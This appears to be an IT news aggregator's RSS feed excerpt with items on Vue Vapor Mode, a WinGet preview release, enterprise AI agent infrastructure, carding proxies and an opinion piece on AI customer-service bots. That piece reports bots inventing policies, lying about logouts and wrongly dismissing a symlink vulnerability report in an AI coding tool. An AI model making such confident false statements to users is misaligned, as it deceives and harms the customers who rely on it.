<span class="pl-s1"></span>
<span class="pl-s1"><span class="pl-k">const</span> <span class="pl-c1">slots</span> <span class="pl-k">=</span> <span class="pl-en">useSlots</span>()</span>
<span class="pl-s1"><span class="pl-k">const</span> <span class="pl-c1">content</span> <span class="pl-k">=</span> <span class="pl-smi">slots</span>.<span class="pl-smi">default</span><span class="pl-k">?</span>.()</span>
<span class="pl-s1"><span class="pl-k">const</span> <span class="pl-c1">showFallback</span> <span class="pl-k">=</span> <span class="pl-k">!</span>content</span>
<span class="pl-s1"><span class="pl-k">&lt;</span><span class="pl-k">/</span>script<span class="pl-k">&gt;</span></span>
<span class="pl-s1"></span>
<span class="pl-s1"><span class="pl-k">&lt;</span>template<span class="pl-k">&gt;</span></span>
<span class="pl-s1">  <span class="pl-k">&lt;</span>div v<span class="pl-k">-</span><span class="pl-k">if</span><span class="pl-k">=</span><span class="pl-s"><span class="pl-pds">"</span>showFallback<span class="pl-pds">"</span></span><span class="pl-k">&gt;</span>Fallback<span class="pl-k">&lt;</span><span class="pl-k">/</span>div<span class="pl-k">&gt;</span></span>
<span class="pl-s1"><span class="pl-k">&lt;</span><span class="pl-k">/</span>template<span class="pl-k">&gt;</span></span></pre></div>
<p>Instead, leave slot rendering to the template:</p>
<div class="highlight highlight-text-html-vue notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="&lt;template&gt;
  &lt;slot /&gt;
&lt;/template&gt;"><pre>&lt;<span class="pl-ent">template</span>&gt;
  &lt;<span class="pl-ent">slot</span> /&gt;
&lt;/<span class="pl-ent">template</span>&gt;</pre></div>
<h3>Custom Directives Use a Different Interface</h3>
<p>Custom directives in Vapor also have a different interface:</p>
<div class="highlight highlight-source-ts notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="type VaporDirective = (
  node: Element | VaporComponentInstance,
  value?: () =&gt; any,
  argument?: string,
  modifiers?: DirectiveModifiers,
) =&gt; (() =&gt; void) | void"><pre><span class="pl-k">type</span> <span class="pl-smi">VaporDirective</span> <span class="pl-c1">=</span> <span class="pl-kos">(</span>
  <span class="pl-s1">node</span>: <span class="pl-smi">Element</span> <span class="pl-c1">|</span> <span class="pl-smi">VaporComponentInstance</span><span class="pl-kos">,</span>
  <span class="pl-s1">value</span>?: <span class="pl-kos">(</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-smi">any</span><span class="pl-kos">,</span>
  <span class="pl-s1">argument</span>?: <span class="pl-smi">string</span><span class="pl-kos">,</span>
  <span class="pl-s1">modifiers</span>?: <span class="pl-smi">DirectiveModifiers</span><span class="pl-kos">,</span>
<span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-kos">(</span><span class="pl-kos">(</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-smi"><span class="pl-k">void</span></span><span class="pl-kos">)</span> <span class="pl-c1">|</span> <span class="pl-smi"><span class="pl-k">void</span></span></pre></div>
<p><code>value</code> is a reactive getter that returns the binding value. Reactive effects can be set up using <code>watchEffect()</code> and are automatically released when the component unmounts. A directive may also return a cleanup function:</p>
<div class="highlight highlight-source-ts notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content="const MyDirective = (el, source) =&gt; {
  watchEffect(() =&gt; {
    el.textContent = source()
  })
  return () =&gt; console.log('cleanup')
}"><pre><span class="pl-k">const</span> <span class="pl-v">MyDirective</span> <span class="pl-c1">=</span> <span class="pl-kos">(</span><span class="pl-s1">el</span><span class="pl-kos">,</span> <span class="pl-s1">source</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-kos">{</span>
  <span class="pl-en">watchEffect</span><span class="pl-kos">(</span><span class="pl-kos">(</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-kos">{</span>
    <span class="pl-s1">el</span><span class="pl-kos">.</span><span class="pl-c1">textContent</span> <span class="pl-c1">=</span> <span class="pl-en">source</span><span class="pl-kos">(</span><span class="pl-kos">)</span>
  <span class="pl-kos">}</span><span class="pl-kos">)</span>
  <span class="pl-k">return</span> <span class="pl-kos">(</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-smi">console</span><span class="pl-kos">.</span><span class="pl-en">log</span><span class="pl-kos">(</span><span class="pl-s">'cleanup'</span><span class="pl-kos">)</span>
<span class="pl-kos">}</span></pre></div>
<h2>Behavior Consistency</h2>
<p>Vapor Mode attempts to match VDOM Mode behavior as much as possible, but minor inconsistencies may still exist in edge cases because the two rendering modes are fundamentally different. In general, a minor inconsistency is not considered a breaking change unless the behavior has previously been documented.</p>
<p>For stable releases, please refer to <a href="https://github.com/vuejs/core/blob/main/CHANGELOG.md">CHANGELOG.md</a> for details.<br>
For pre-releases, please refer to <a href="https://github.com/vuejs/core/blob/minor/CHANGELOG.md">CHANGELOG.md</a> of the <code>minor</code> branch.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Windows Package Manager 1.30.50-preview]]></title>
<description><![CDATA[This is a preview build of WinGet for those interested in trying out upcoming features and fixes. While it has had some use and should be free of major issues, it may have bugs or usability problems. If you find any, please help us out by filing an issue.
New in v1.30
Nothing yet.
Bug Fixes

Fixe...]]></description>
<link>https://tsecurity.de/de/3677248/downloads/windows-package-manager-13050-preview/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677248/downloads/windows-package-manager-13050-preview/</guid>
<pubDate>Sat, 18 Jul 2026 01:46:33 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This is a preview build of WinGet for those interested in trying out upcoming features and fixes. While it has had some use and should be free of major issues, it may have bugs or usability problems. If you find any, please help us out by <a href="https://github.com/microsoft/winget-cli/issues">filing an issue</a>.</p>
<h2>New in v1.30</h2>
<p>Nothing yet.</p>
<h2>Bug Fixes</h2>
<ul>
<li>Fixed a crash (<code>0x8000ffff</code>) when using <code>--disable-interactivity</code> with the Resume experimental feature enabled during install operations.</li>
</ul>
<h2>What's Changed</h2>
<ul>
<li>Apply latest loc patch by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4565579611" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6262" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6262/hovercard" href="https://github.com/microsoft/winget-cli/pull/6262">#6262</a></li>
<li>Remove old Store certs, replace test use with generated ones by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4626150885" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6275" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6275/hovercard" href="https://github.com/microsoft/winget-cli/pull/6275">#6275</a></li>
<li>Add .gitattributes and normalize line endings across repo by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tianon-sso/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tianon-sso">@tianon-sso</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4600082935" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6267" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6267/hovercard" href="https://github.com/microsoft/winget-cli/pull/6267">#6267</a></li>
<li>Renormalize by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4633514887" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6276" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6276/hovercard" href="https://github.com/microsoft/winget-cli/pull/6276">#6276</a></li>
<li>Change event type by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4615424908" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6273" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6273/hovercard" href="https://github.com/microsoft/winget-cli/pull/6273">#6273</a></li>
<li>Update minor version, archive release notes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4642943454" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6279" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6279/hovercard" href="https://github.com/microsoft/winget-cli/pull/6279">#6279</a></li>
<li>Align .gitattributes and .editorconfig by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4668279620" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6285" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6285/hovercard" href="https://github.com/microsoft/winget-cli/pull/6285">#6285</a></li>
<li>Doc manifest schema process by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4643557474" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6280" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6280/hovercard" href="https://github.com/microsoft/winget-cli/pull/6280">#6280</a></li>
<li>Fix crash with --disable-interactivity and EFResume by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4703166998" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6302" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6302/hovercard" href="https://github.com/microsoft/winget-cli/pull/6302">#6302</a></li>
<li>Fix configuration elevation validation for standard flow by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JohnMcPMS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JohnMcPMS">@JohnMcPMS</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4708403993" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6307" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6307/hovercard" href="https://github.com/microsoft/winget-cli/pull/6307">#6307</a></li>
<li>Bump markdown-it from 14.1.1 to 14.2.0 in /tools/WinGetLogViewer by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4686342275" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6296" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6296/hovercard" href="https://github.com/microsoft/winget-cli/pull/6296">#6296</a></li>
<li>Bump undici from 7.25.0 to 7.28.0 in /tools/WinGetLogViewer by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4705714856" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6305" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6305/hovercard" href="https://github.com/microsoft/winget-cli/pull/6305">#6305</a></li>
<li>Bump form-data from 4.0.5 to 4.0.6 in /tools/WinGetLogViewer by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4710948701" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6311" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6311/hovercard" href="https://github.com/microsoft/winget-cli/pull/6311">#6311</a></li>
<li>Clean vcpkg artifacts on solution clean by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4754061053" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6339" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6339/hovercard" href="https://github.com/microsoft/winget-cli/pull/6339">#6339</a></li>
<li>Fix punctuation in error messages by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/idleberg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/idleberg">@idleberg</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4715127350" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6314" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6314/hovercard" href="https://github.com/microsoft/winget-cli/pull/6314">#6314</a></li>
<li>Fix cpprest checked iterator build error by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Trenly/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Trenly">@Trenly</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4703039819" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6301" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6301/hovercard" href="https://github.com/microsoft/winget-cli/pull/6301">#6301</a></li>
<li>Undo normalization of external files by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/florelis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/florelis">@florelis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4753826668" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6336" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6336/hovercard" href="https://github.com/microsoft/winget-cli/pull/6336">#6336</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tianon-sso/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tianon-sso">@tianon-sso</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4600082935" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6267" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6267/hovercard" href="https://github.com/microsoft/winget-cli/pull/6267">#6267</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/idleberg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/idleberg">@idleberg</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4715127350" data-permission-text="Title is private" data-url="https://github.com/microsoft/winget-cli/issues/6314" data-hovercard-type="pull_request" data-hovercard-url="/microsoft/winget-cli/pull/6314/hovercard" href="https://github.com/microsoft/winget-cli/pull/6314">#6314</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/microsoft/winget-cli/compare/v1.29.240...v1.30.50-preview"><tt>v1.29.240...v1.30.50-preview</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Agents think in milliseconds, legacy infrastructure doesn't. LinkedIn, Walmart and Zendesk shared how they closed the gap at VB Transform 2026]]></title>
<description><![CDATA[Legacy infrastructure, not the models themselves, is what's actually slowing AI agents down. That was the shared conclusion of three infrastructure leaders — from LinkedIn, Walmart, and Zendesk — at VB Transform 2026.The panel brought together Animesh Singh, senior director of AI platform and inf...]]></description>
<link>https://tsecurity.de/de/3676906/it-nachrichten/agents-think-in-milliseconds-legacy-infrastructure-doesnt-linkedin-walmart-and-zendesk-shared-how-they-closed-the-gap-at-vb-transform-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676906/it-nachrichten/agents-think-in-milliseconds-legacy-infrastructure-doesnt-linkedin-walmart-and-zendesk-shared-how-they-closed-the-gap-at-vb-transform-2026/</guid>
<pubDate>Fri, 17 Jul 2026 21:32:54 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Legacy infrastructure, not the models themselves, is what's actually slowing AI agents down. That was the shared conclusion of three infrastructure leaders —<!-- --> from LinkedIn, Walmart, and Zendesk —<!-- --> at<a href="https://venturebeat.com/vbtransform2026"> VB Transform 2026</a>.</p><p>The panel brought together Animesh Singh, senior director of AI platform and infrastructure at LinkedIn, Desiree Gosby, SVP of corporate technology services and technology strategy at Walmart, and Sami Ghoche, VP of applied AI at Zendesk, each describing what actually broke when they moved agents from pilot to production. Each arrived at the same conclusion from a different starting point: None of the bottlenecks they hit were model problems.</p><p>What tied their answers together was a shared premise: most enterprise infrastructure was built for how humans work, not for how agents work. The gap between those two speeds is where the real engineering happened.</p><p>Gosby put it plainly when asked what she'd learned scaling agents inside Walmart's own workforce. The goal, she said, is to make sure "engineering doesn't once again become the bottleneck for what it is we're trying to do."</p><h2><b>Where the bottleneck actually was</b></h2><p>Each company hit a different version of the same wall: infrastructure designed for how people work doesn't hold up once agents are doing the work instead.</p><p>At LinkedIn, the first bottleneck wasn't a model, it was Kubernetes, which assumes containers spin up on demand, a process that takes seconds. Singh said that's too slow for agents. The fix was moving from on-demand provisioning to pre-provisioned pools of containers that swap agentic workloads in and out in real time.</p><p>A second, harder problem surfaced once LinkedIn let agents control their own orchestration. A five-point evaluation system looked clean, but hallucination kept showing up anyway. Singh said the issue was structural, an LLM evaluating another LLM's output shares the same failure mode as the thing it's evaluating. </p><p>"We built our own harness, our own control flow, and pushed the LLMs to the leaf instead of them orchestrating the loop," Singh said. Roughly 80% of the workflow is now scripted, deterministic code, with LLMs used only where reasoning is required, and each step's evidence is committed to disk before the system moves on.</p><p>Walmart's bottleneck came from success. An agent harness put directly into employees' hands went viral internally, and what Gosby called "citizen developers" began building their own agents to solve problems that once required a formal engineering roadmap. The upside was real innovation. The downside was duplication, dozens of overlapping agents with no coordination. The fix wasn't reining in the harness, it was building governance to spot duplication, promote the best version of an agent, and get it into production without engineering becoming a chokepoint.</p><p>Zendesk hit its bottleneck from the data side. Ghoche, who joined through <a href="https://www.zendesk.com/newsroom/press-releases/zendesk-completes-acquisition-of-forethought/">Zendesk's acquisition of Forethought</a>, which closed in March 2026, described sitting on what he called a public figure of 20 billion customer conversations in Zendesk's repository. The instinct is to hand that history to a large language model with a big context window and let it generate the agents a business needs. Ghoche said that doesn't work. "You can't really do that, so instead you have to really invest in the underlying data pipelines and all the data infrastructure that comes with that," he said.</p><h2>The role of open source</h2><p>On open source, all three leaders landed on a similar instinct: own what you can, and lean on frontier labs only where they still have a clear edge.</p><p>Ghoche said his own view is that most enterprises would prefer to own their models and infrastructure wherever that's possible, and that reasoning is what drives Zendesk's own approach. The exception is frontier reasoning work, where the labs still lead, though he said that slice of use cases is shrinking relative to everything else enterprises now do with AI.</p><p>LinkedIn's answer was to build two subsystems specifically for independence. The first is what the company calls an AI gateway, a single interface that every outbound call to a model runs through regardless of provider. The second component is a memory subsystem built to hold context independent of any model provider.</p><p>"Every single outbound call going to an LLM, whether it's on a public cloud or on-prem in our own data centers, follows the same semantics, the same API calls. We can quickly switch between different providers," Singh said. </p><p>Walmart built its own internal gateway to stay vendor agnostic across three workload types: fully deterministic workflows, planner-and-reasoner workflows for open-ended tasks, and a hybrid of the two. Compliance-heavy work stays deterministic by design; governance, security and evaluation run through the gateway regardless of which model is on the other end. Gosby said the choice between a frontier model and an open-weight model comes down to whichever is most effective for the specific workload, not a fixed policy.</p><h2>Advice for the modernization journey</h2><p>Three pieces of advice came up directly, each tied to the wall a leader had already hit.</p><p><b>Invest in evals before anything else.</b> Ghoche called it the thing common to every use case, internal or customer facing. </p><p>"The thing that's common to all of these is evals. It'll force you to break the problem down, and once you have a robust set of evals, you can move a lot faster," he said, </p><p><b>Own your agent harness from day one.</b> Gosby's advice was to put the AI harness directly in employees' hands early, paired with the infrastructure to monitor what it produces. </p><p>"It will unlock a huge amount of innovation," she said.</p><p><b>Build for model and context independence.</b> Ensuring flexibility is critical for success.</p><p>"Build for independence, whether it's a frontier model of today versus an open source model of tomorrow," Singh said. "Keep that context within your enterprise so that you can reuse it when you ship the model or the harness tomorrow," Singh said.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[This Levoit is the best smart air purifier I've tested (and it's on sale)]]></title>
<description><![CDATA[The Levoit Vital 200S-P is the smart air purifier to beat, with a washable prefilter and a capacity to clean up to 1,800 square feet in one hour.]]></description>
<link>https://tsecurity.de/de/3676728/it-security-nachrichten/this-levoit-is-the-best-smart-air-purifier-ive-tested-and-its-on-sale/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676728/it-security-nachrichten/this-levoit-is-the-best-smart-air-purifier-ive-tested-and-its-on-sale/</guid>
<pubDate>Fri, 17 Jul 2026 19:38:57 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The Levoit Vital 200S-P is the smart air purifier to beat, with a washable prefilter and a capacity to clean up to 1,800 square feet in one hour.]]></content:encoded>
</item>
<item>
<title><![CDATA[Inside the Search for "Clean" Residential Proxies for Carding]]></title>
<description><![CDATA[Residential proxies are no longer the silver bullet they once were for carding. Flare explains why cybercriminals increasingly seek "clean" residential proxies and combine them with browser fingerprints, device profiles, and other identity signals to evade modern fraud detection. [...]]]></description>
<link>https://tsecurity.de/de/3676316/it-security-nachrichten/inside-the-search-for-clean-residential-proxies-for-carding/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676316/it-security-nachrichten/inside-the-search-for-clean-residential-proxies-for-carding/</guid>
<pubDate>Fri, 17 Jul 2026 16:24:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Residential proxies are no longer the silver bullet they once were for carding. Flare explains why cybercriminals increasingly seek "clean" residential proxies and combine them with browser fingerprints, device profiles, and other identity signals to evade modern fraud detection. [...]]]></content:encoded>
</item>
<item>
<title><![CDATA[It’s past time to end AI-based automated customer responses]]></title>
<description><![CDATA[An automated chatbot working for Anthropic this month shot down a Wiz researcher’s security hole report, saying that it “falls outside of the Claude Code threat model.” That was news to the security researchers at Wiz. 



It also turned out to be news to Anthropic execs, who had a very different...]]></description>
<link>https://tsecurity.de/de/3675876/it-nachrichten/its-past-time-to-end-ai-based-automated-customer-responses/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675876/it-nachrichten/its-past-time-to-end-ai-based-automated-customer-responses/</guid>
<pubDate>Fri, 17 Jul 2026 13:18:16 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">An automated chatbot working for Anthropic this month shot down a Wiz researcher’s security hole report, saying that it “falls outside of the Claude Code threat model.” That was news to the security researchers at <a href="https://www.wiz.io/" target="_blank" rel="noreferrer noopener">Wiz</a>. </p>



<p class="wp-block-paragraph">It also turned out to be news to Anthropic execs, who had a very different view. </p>



<p class="wp-block-paragraph">In reality, Anthropic was one of many victims of the hole — <a href="https://www.csoonline.com/article/4195235/ai-coding-tool-hole-illustrates-a-big-problem-with-human-in-the-loop.html" target="_blank">including Amazon, Google and Cursor, among others</a>. But what makes the incident so bizarre is that, far from dismissing the threat, Anthropic had detected it before the security researchers and had even patched it before the researchers alerted them. </p>



<p class="wp-block-paragraph">As these AI bots are wont to do, the bot didn’t merely reject the request. It confidently explained its rationale, even though its reasoning was wrong. </p>



<p class="wp-block-paragraph">“This falls outside our current threat model,” the chatbot said, <a href="https://www.wiz.io/blog/ghostapproval-a-trust-boundary-gap-in-ai-coding-assistants" target="_blank" rel="noreferrer noopener">according to a report by Wiz</a>. “When the user first starts Claude Code in a directory, they must confirm that they trust the directory prior to starting the session. The scenario you describe involves a user explicitly confirming a permission prompt inside of a directory containing a malicious symlink, which falls outside of the Claude Code threat model.”</p>



<p class="wp-block-paragraph">That researchers said Anthropic management later clarified the situation: “The symlink warning in the Edit/Write permission dialog shipped in v2.1.32 (Feb 5, 2026), nine days before this report was submitted to us. It was added as part of proactive security hardening based on internal review. The decline to comment was an autoreply from our triage system.” </p>



<p class="wp-block-paragraph">An autoreply from our triage system? How many other make-believe replies did this system send? And what level of damage is Anthropic exposing itself to? </p>



<p class="wp-block-paragraph">This is not just an Anthropic issue. There have been numerous enterprise bot glitches in communications  with customers. Some of my favorites include:</p>



<ul class="wp-block-list">
<li>Bots that chose on their own to cancel customers. (This actually was another Anthropic incident.) In this case, <a href="https://www.computerworld.com/article/4108169/using-ai-to-automatically-cancel-customers-not-a-smart-move.html">an Anthropic bot cancelled the AI account of a Swiss company</a> that depended on the service. A lawyer got involved and the account was restored within a day — minus 80% of the data. Oops.</li>



<li>A Cursor bot decided to log customers off when they switched devices, which it shouldn’t have done. The bot then emailed customers and lied that, “The logouts were expected behavior under a new login policy.” <a href="https://www.yahoo.com/news/customer-support-ai-went-rogue-120000474.html">A Fortune story</a> detailed how “the news spread rapidly in the developer community, leading to reports of users cancelling their subscriptions, while some complained about the lack of transparency. Cofounder Michael Truell finally posted on Reddit acknowledging the ‘incorrect response from a front-line AI support bot’ and said it was investigating a bug that logged users out. ‘Apologies about the confusion here,’ he wrote.”</li>



<li>Voters in Scottish elections were<a href="https://www.theguardian.com/technology/2026/may/20/ai-chatbots-chatgpt-replika-grok-gemini-misinformation-scottish-election-demos" target="_blank" rel="noreferrer noopener"> tricked by government AI bots</a> that “variously invented fictitious scandals, gave the wrong date for the election, claimed wrongly that voters in Scottish elections needed ID at polling stations and placed candidates in the wrong contests.”</li>



<li>And let’s not forge <a href="https://cybermaniacs.com/news/air-canada-chatbot-case-when-ai-speaks-for-the-company#:~:text=As%2520The%2520Guardian%2520reported%252C%2520the%2520tribunal%2520found,information%2520about%2520the%2520airline's%2520bereavement%2520fare%2520policy" target="_blank" rel="noreferrer noopener">the classic story about the Air Canada bot</a>, where “Air Canada was ordered to compensate a customer after its chatbot gave incorrect information about the airline’s bereavement fare policy. The tribunal found that Air Canada was responsible for information provided through its website, including the chatbot.”</li>
</ul>



<p class="wp-block-paragraph">Let’s be clear, here: Bots should be limited to relaying only pre-approved scripts. </p>



<p class="wp-block-paragraph">Generative AI allows for far greater chatbot sophistication, but that also means the chance of far greater errors. This is untenable in any business function. And when the app is pretending to be a human — and interacting with human customers — it’s even more unacceptable.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The build vs. buy dilemma at the heart of enterprise AI]]></title>
<description><![CDATA[For three decades, enterprise software has been a buy-it decision. Packaged software from SAP, Oracle and Salesforce covered roughly 80% of requirements at a fraction of the cost of building. The economics were obvious, and for traditional applications, they still are.



AI is introducing a wrin...]]></description>
<link>https://tsecurity.de/de/3675706/it-nachrichten/the-build-vs-buy-dilemma-at-the-heart-of-enterprise-ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675706/it-nachrichten/the-build-vs-buy-dilemma-at-the-heart-of-enterprise-ai/</guid>
<pubDate>Fri, 17 Jul 2026 12:17:08 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">For three decades, enterprise software has been a buy-it decision. Packaged software from SAP, Oracle and Salesforce covered roughly 80% of requirements at a fraction of the cost of building. The economics were obvious, and for traditional applications, they still are.</p>



